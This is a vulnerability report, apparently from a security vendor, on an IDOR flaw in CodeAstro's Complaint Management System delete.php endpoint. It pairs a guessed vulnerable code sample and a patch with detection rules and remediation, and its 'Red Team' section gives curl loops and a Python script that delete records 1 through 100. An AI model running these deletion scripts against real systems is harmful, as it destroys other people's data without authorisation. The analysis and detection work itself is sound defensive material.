CVE-2024-55506

Executive Summary

CVE-2024-55506 is an Insecure Direct Object Reference (IDOR) vulnerability in CodeAstro's Complaint Management System v1.0. The flaw resides in the delete.php file, where the id parameter is not properly validated. An unauthenticated attacker can manipulate this parameter to delete arbitrary complaint records, potentially leading to data loss, privilege escalation, and further exploitation. The vendor has not released a patch, and no official advisory exists. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

While no official CVSS vector is assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – simple parameter manipulation.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is affected.
• Confidentiality (C): High (H) – sensitive complaint data exposed.
• Integrity (I): High (H) – records can be deleted.
• Availability (A): Low (L) – deletion of records impacts service.

Estimated CVSS Score: 9.1 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete data loss.

Deep Dive & Mechanics

The vulnerability is a classic IDOR in the delete.php endpoint. The application likely uses a GET or POST parameter id to specify which complaint record to delete. The code does not verify that the requesting user is authorized to delete that record, nor does it implement any access control checks.

Attack Flow:

1. An attacker identifies the delete.php endpoint.
2. The attacker sends a request with a manipulated id parameter (e.g., delete.php?id=1).
3. The server executes the deletion without verifying ownership or permissions.
4. The attacker can iterate through id values to delete all records.

Root Cause: Lack of authorization checks in the delete.php script. The application likely uses a simple SQL query like DELETE FROM complaints WHERE id = $_GET['id'] without verifying the user's session or role.

Vulnerable vs. Patched Code

Vulnerable Code (delete.php):

<?php
include 'db_connection.php';
$id = $_GET['id'];
$sql = "DELETE FROM complaints WHERE id = $id";
mysqli_query($conn, $sql);
header('Location: complaints.php');
?>

Patched Code (delete.php):

<?php
session_start();
include 'db_connection.php';
if (!isset($_SESSION['user_id']) || $_SESSION['role'] != 'admin') {
    die('Unauthorized');
}
$id = intval($_GET['id']);
$sql = "DELETE FROM complaints WHERE id = ? AND user_id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "ii", $id, $_SESSION['user_id']);
mysqli_stmt_execute($stmt);
header('Location: complaints.php');
?>

The patched version adds session-based authentication, role checking, parameterized queries, and ownership verification.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of CodeAstro Complaint Management System v1.0.
• Access to the network where the application is hosted.

Exploitation Steps:

1. Identify the target URL: http://target.com/complaint_management/delete.php
2. Send a GET request to delete a specific complaint:

   curl -X GET "http://target.com/complaint_management/delete.php?id=1"
   

3. To delete all complaints, iterate through IDs:

   for i in {1..100}; do curl -X GET "http://target.com/complaint_management/delete.php?id=$i"; done
   

Automated Exploit Script (Python):

import requests

target = "http://target.com/complaint_management/delete.php"
for i in range(1, 101):
    r = requests.get(f"{target}?id={i}")
    print(f"Deleted ID {i}: {r.status_code}")

Blue Team

Detection:

• Monitor for sequential GET requests to delete.php with varying id parameters.
• Alert on any access to delete.php from unauthenticated sessions.

Honeypot:

• Deploy a fake delete.php that logs all requests and blocks the source IP after 5 attempts.

Lab Setup:

1. Install XAMPP or LAMP stack.
2. Download CodeAstro Complaint Management System v1.0.
3. Place files in the web root.
4. Import the provided SQL database.
5. Access the application and test the vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /complaint_management/delete.php?id=<number>
  • Sequential id parameter values in a short time frame.
  • High volume of 302 redirects from delete.php to complaints.php.

• File IOCs:

  • Modified or deleted entries in the complaints database table.
  • Log entries in web server access logs showing repeated delete.php access.

• Behavioral IOCs:

  • Unauthorized deletion of complaint records.
  • Missing data in the complaint management interface.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_55506_IDOR_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-55506 IDOR in CodeAstro Complaint Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55506"
    strings:
        $s1 = "delete.php?id=" ascii wide nocase
        $s2 = "DELETE FROM complaints" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-55506 IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit IDOR vulnerability in CodeAstro Complaint Management System delete.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'delete.php?id='
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55506 IDOR Exploitation Attempt"; flow:to_server; content:"GET"; http_method; content:"delete.php?id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Implement authentication on all admin endpoints.
3. Add authorization checks to verify user ownership before deletion.
4. Use parameterized queries to prevent SQL injection.

Long-Term Fixes:

• Upgrade to a patched version if the vendor releases one.
• Rewrite the application with proper access controls.
• Deploy a Web Application Firewall (WAF) with rules to block sequential ID requests.

Workaround:

• Remove or rename delete.php until a patch is available.
• Implement IP-based rate limiting on the endpoint.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valters-it.com.